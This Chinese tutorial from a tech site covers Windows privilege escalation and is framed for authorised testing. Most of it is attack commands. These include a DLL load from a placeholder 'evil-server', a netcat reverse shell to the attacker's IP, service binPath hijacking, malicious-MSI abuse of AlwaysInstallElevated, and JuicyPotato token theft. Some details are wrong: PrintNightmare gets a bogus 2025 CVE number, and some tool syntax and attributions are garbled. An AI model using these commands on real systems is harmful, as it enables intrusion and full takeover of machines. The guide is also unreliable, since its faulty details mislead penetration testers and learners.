菜鸟科技网

Windows提权命令有哪些?

严格从网络安全学习和授权测试的角度出发,详细讲解Windows提权的原理、常用命令、方法和工具。请务必在获得明确授权的环境下进行测试,未经授权的测试是违法行为。

Windows提权命令有哪些?-图1
(图片来源网络,侵删)

提权核心思想

提权的核心是利用系统或软件中的漏洞,将当前低权限用户的权限(如普通用户 Users 组)提升到高权限(如管理员 Administrators 组)。

提权可以分为两大类:

  1. 内核提权:利用操作系统内核或驱动程序的漏洞,直接提升到 NT AUTHORITY\SYSTEM 权限(相当于Linux的root)。
  2. 配置错误提权:利用管理员不当的权限配置、服务配置或安装的软件漏洞来提升权限。

准备工作:信息收集

在尝试提权之前,必须尽可能多地收集目标系统的信息,信息越详细,提权的成功率就越高。

查看当前用户权限

这是最基本的一步,确认你当前的身份。

Windows提权命令有哪些?-图2
(图片来源网络,侵删)
# 查看当前用户名
whoami
# 查看当前用户所属的所有组(非常关键!)
whoami /all
# 查看当前用户的完整权限列表
whoami /priv

重点关注是否在 Administrators 组、Users 组,以及拥有的权限(如 SeDebugPrivilege)。

系统信息收集

# 查看操作系统版本和架构(32位/64位)
systeminfo
# 查看系统详细信息(包括Hotfix,对内核提权至关重要)
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"

systeminfo 的输出是寻找内核漏洞(如 Windows Exploit Suggester)的输入数据。

已安装软件和补丁信息

# 查看所有已安装的软件和版本
wmic product get name,version
# 查看已安装的热修复程序(Hotfix)
wmic qfe get HotFixID,Description,InstalledOn

这些信息可以帮助你找到有漏洞的第三方软件(如Adobe, Oracle Java等)。

网络和共享信息

# 查看所有网络连接和监听端口
netstat -ano
# 查看可访问的共享文件夹
net share
# 查看当前用户可以访问的远程计算机
net view

有时,横向移动到另一台机器再提权会更有效。

其他有用的信息

# 查看所有用户(包括隐藏用户)
net user
# 查看计划任务
schtasks /query /fo LIST /v
# 查看服务(检查是否有配置错误的服务)
sc query state= all
# 查看环境变量
set
# 查看正在运行的进程
tasklist /svc

提权方法与命令

根据收集到的信息,选择合适的提权方法。

内核漏洞提权

这是最经典的方法,通过查找目标系统未打补丁的内核漏洞,利用漏洞代码(Exploit)执行命令获得 SYSTEM 权限。

工具: Windows-Exploit-Suggester.py

步骤:

  1. 在目标机上运行 systeminfo > info.txt 并导出信息。

  2. info.txt 传回到你的攻击机。

  3. 在你的攻击机上(需要安装Python)运行建议器:

    # 首先下载工具
    git clone https://github.com/AonCyberLabs/Windows-Exploit-Suggester.git
    cd Windows-Exploit-Suggester
    # 运行建议器,将你的info.txt作为输入
    python windows-exploit-suggester.py -i info.txt
  4. 工具会输出一个列表,列出可能可用的漏洞和对应的CVE编号。

  5. 根据列表,在 Exploit-DB 等网站上搜索对应的Exploit代码(通常是 .ps1, .exe, .c 文件)。

  6. 将编译好的Exploit文件上传到目标机并执行。

示例(针对CVE-2025-36934 - PrintNightmare): 这是一个非常著名的漏洞,在获得初始访问后,可以尝试利用它。

# 这是一个概念验证代码,实际利用可能更复杂
# 你需要准备一个恶意的DLL文件,并指向它
# 以下命令仅为示意,不能直接使用
rundll32.exe \\evil-server\share\malicious.dll,EntryPoint

注意: 内核提权风险高,可能导致系统蓝屏,现代Windows系统补丁更新频繁,此方法成功率在下降。

服务配置错误提权

管理员错误配置服务是提权的常见途径。

场景1:不安全的服务权限

如果某个服务的可执行文件被当前用户修改,或者服务配置允许低权限用户修改其参数,就可以劫持服务。

命令:

# 使用PowerSploit套件中的Invoke-PrivescCheck进行快速检查
# (需要先上传Invoke-PrivescCheck.ps1)
. .\Invoke-PrivescCheck.ps1
Invoke-PrivescCheck
# 或者手动检查服务权限
sc qc <服务名>

检查 BINARY_PATH_NAMESERVICE_START_NAME,如果当前用户对可执行文件有写入权限,或者可以启动/停止服务,就可能提权。

利用步骤:

  1. 找到一个权限配置不当的服务 VulnerableService
  2. 创建一个恶意脚本(如 reverse_shell.execmd.exe)。
  3. 修改服务的可执行文件路径为你的恶意脚本:
    sc config VulnerableService binPath= "C:\path\to\your\reverse_shell.exe"
  4. 启动服务,获得高权限的shell:
    net start VulnerableService

场景2:可被任意用户启动/停止的服务

如果某个服务以 SYSTEM 权限运行,但允许任何用户启动它,你可以通过启动一个特殊配置的服务来提权。

利用步骤:

  1. 创建一个配置文件 sc_config.txt如下:
    [SERVICE]
    Type= own
    Start= auto
    Error= normal
    BinPath= C:\Windows\System32\cmd.exe
    DisplayName= My Vulnerable Service
    DependOnService= lanmanworkstation
  2. 使用 sc.exe 命令创建服务:
    sc.exe \\.\ create VulnerableService binPath= "C:\Windows\System32\cmd.exe" type= own start= auto
  3. 启动服务,直接弹出一个 SYSTEM 权限的 cmd.exe 窗口:
    net start VulnerableService

AlwaysInstallElevated (AIE) 策略提权

这是一个经典的组策略漏洞,如果此策略被启用,任何用户都能以 SYSTEM 权限安装MSI软件包。

检查是否启用:

# 检查注册表项
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

如果两个命令的输出都是 0x1,则表示已启用。

利用步骤:

  1. 创建一个恶意MSI安装包,可以使用 msiexec 和一个简单的批处理文件来实现反弹shell。
  2. 创建一个文本文件 payload.txt为你的反弹shell命令,nc -e cmd.exe your_ip your_port
  3. 创建一个 malicious.msi 安装包,这个过程比较复杂,通常需要使用工具如 msiwrapper 或手动创建。
  4. 在目标机上运行MSI包:
    msiexec /quiet /qn /i C:\path\to\malicious.msi

    执行后,会以 SYSTEM 权限运行你的payload。

令牌窃取/模拟提权

如果你有 SeImpersonatePrivilegeSeAssignPrimaryTokenPrivilege 权限,可以尝试进行令牌窃取。

工具: Rotten PotatoJuicy PotatoPrintSpoofer

示例:使用 Juicy Potato Juicy Potato 利用了Windows DCOM组件的权限配置问题来创建一个高权限令牌。

  1. JuicyPotato.exe 上传到目标机。

  2. 确定你的当前用户名(user1)。

  3. 确定一个COM CLSID。Juicy Potato 的GitHub页面或工具自带的 CLSID.txt 文件中有列表。

  4. 运行 Juicy Potato

    # 基本语法
    JuicyPotato.exe -t * -p C:\Windows\System32\cmd.exe -l 9999 -c {CLSID} -u "user1" -p "password"
    # 示例(使用默认的CLSID和监听端口8888)
    JuicyPotato.exe -t * -p C:\Windows\System32\cmd.exe -l 8888 -c {000C1A05-F161-44DB-8B23-EE5E5DFA736E} -u "user1" -p ""

    如果成功,会弹出一个 SYSTEM 权限的 cmd.exe

路径劫持提权

程序在启动时,会从一系列预定义的路径(如当前目录、System32 等)查找DLL文件,如果当前用户在这些路径有写入权限,就可以放置一个恶意的同名DLL,等待程序加载它。

检查方法:

# 查看当前用户的PATH环境变量
echo %PATH%
# 使用工具如 `WinPEAS` 或 `PowerUp.ps1` 进行自动化检查
. .\PowerUp.ps1
Invoke-AllChecks

PowerUp.ps1Write-ServiceBinary 模块可以自动检测并利用路径劫持漏洞。


自动化提权工具

手动提权耗时耗力,自动化工具可以快速扫描和利用已知的提权向量。

WinPEAS

功能: 一个功能极其强大的脚本,可以检查几乎所有类型的提权漏洞(服务、注册表、密码、文件权限、AIE等)。 用法:

# 在目标机上下载并运行
. \winpeas.bat
# 或者
. .\winpeas.exe

它会输出大量的信息,你需要仔细阅读并寻找绿色的 [+] 标记,这表示发现了潜在的可利用点。

PowerUp.ps1 (来自PowerSploit)

功能: 一个专门为Windows设计的PowerShell提权框架。 用法:

# 导入模块
. .\PowerUp.ps1
# 运行所有检查
Invoke-AllChecks
# 或者运行单个检查,例如检查服务
Get-ModifiablePath
Get-ModifiableService

Windows-Exploit-Suggester

功能: 如前所述,它不直接提权,但能根据 systeminfo 的输出,智能地告诉你有哪些内核漏洞或第三方软件漏洞可以利用,是提权前的必备工具。


总结与最佳实践

  1. 授权第一:永远不要在未经授权的系统上进行测试。
  2. 信息为王:提权成功的关键在于充分的信息收集。systeminfowhoami /allwmic 是你的好朋友。
  3. 工具组合:不要依赖单一工具,先用 WinPEASPowerUp.ps1 进行快速扫描,再用 Windows-Exploit-Suggester 针对性地查找内核漏洞。
  4. 从简单到复杂:先尝试配置错误类的提权(服务、AIE、路径劫持),这类漏洞更容易利用且风险更低,内核提权是最后的选择。
  5. 隐蔽性:在真实渗透测试中,提权操作可能会被杀毒软件或EDR检测到,了解如何绕过这些安全产品是进阶技能。
  6. 保持更新:Windows和第三方软件的漏洞不断被发现和修复,持续学习最新的提权技术和漏洞信息至关重要。

希望这份详细的指南能帮助你从学习者的角度理解Windows提权,请务必遵守法律和道德准则。

分享:
扫描分享到社交APP
上一篇
下一篇